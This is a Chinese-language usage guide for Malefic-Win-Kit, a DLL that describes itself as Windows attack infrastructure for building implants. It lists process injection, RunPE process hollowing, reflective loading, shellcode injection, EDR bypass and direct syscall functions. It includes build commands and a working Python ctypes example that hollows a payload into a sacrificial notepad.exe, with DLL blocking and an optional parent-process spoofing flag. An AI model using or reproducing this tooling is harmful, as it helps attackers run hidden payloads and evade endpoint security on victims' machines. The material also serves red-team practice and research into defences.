Malefic-Win-Kit FFI 使用指南¶
Malefic-Win-Kit 是一个多语言 Windows 攻击基础设施,将复杂的底层 Windows 能力(进程注入、内存执行、反射加载等)封装为即用型 API,通过标准 C ABI 导出为 DLL。
**一次编写,随处使用。可以用任意语言编写一个功能完善的implant **
完整文档和示例请参考:FFI Examples
Features¶
- PE 执行:
RunPE,PELoader,InlinePE,RunSacrifice - 反射加载:
ReflectiveLoader,MaleficLoadLibrary - 代码注入:
RunShellcode,ApcLoaderInline,ApcLoaderSacriface - 高级功能:
BOF,CSharpUtils,PowershellUtils - EDR 绕过:
EDRBypassUtils_REFRESH_DLL,EDRBypassUtils_BLOCK_DLL - 系统调用:
RashoGate_RashoGateSyscall,SYSCALLS
快速开始¶
编译 DLL¶
# 进入项目目录
cd D:\Programing\rust\implant
# 编译 malefic-win-kit DLL
cargo build --release -p malefic-win-kit
# 生成的 DLL 位于
# target/release/malefic_win_kit.dll
最小示例 (Python)¶
调用流程
- 加载 DLL - 运行时动态加载
malefic_win_kit.dll - 解析函数 - 通过导出名称获取函数地址
- 声明签名 - 根据
malefic-win-kit.h定义函数签名 - 调用 - 遵循标准 C 调用约定 (cdecl)
- 内存管理 - 使用
SafeFreePipeData释放分配的内存
import ctypes
from pathlib import Path
# 加载 DLL
dll = ctypes.CDLL("malefic_win_kit.dll")
# 定义 RawString 结构
class RawString(ctypes.Structure):
_fields_ = [
("data", ctypes.POINTER(ctypes.c_uint8)),
("len", ctypes.c_size_t),
("capacity", ctypes.c_size_t)
]
# 声明函数签名
dll.RunPE.argtypes = [
ctypes.c_char_p, # sacrifice
ctypes.POINTER(ctypes.c_uint8), # pe_data
ctypes.c_size_t, # pe_len
ctypes.c_char_p, # args
ctypes.c_uint32, # pid
ctypes.c_bool, # block_dll
ctypes.c_bool # ppid
]
dll.RunPE.restype = RawString
# 读取 PE 文件
pe_data = Path("target.exe").read_bytes()
# 执行 RunPE
result = dll.RunPE(
b"C:\\Windows\\System32\\notepad.exe", # 牺牲进程
(ctypes.c_uint8 * len(pe_data))(*pe_data),
len(pe_data),
b"--help", # 参数
0, # PID (0 = 创建新进程)
True, # 阻止 DLL 加载
False # PPID 欺骗
)
# 获取输出
output = ctypes.string_at(result.data, result.len)
print(output.decode())
# 释放内存
dll.SafeFreePipeData(result.data)
任何支持 FFI 的语言都可以使用。详细说明请参考:Language Support
项目提供了以下语言的示例:
| 语言 | 示例目录 | 文档 |
|---|---|---|
| C | c/ | README |
| Go | go/ | README |
| Rust | rust/ | README |
| Python | python/ | README |
| C# | csharp/ | README |
API 参考¶
完整的 API 列表和详细说明请参考:
- API Reference - 完整 API 文档
- malefic-win-kit.h - C 头文件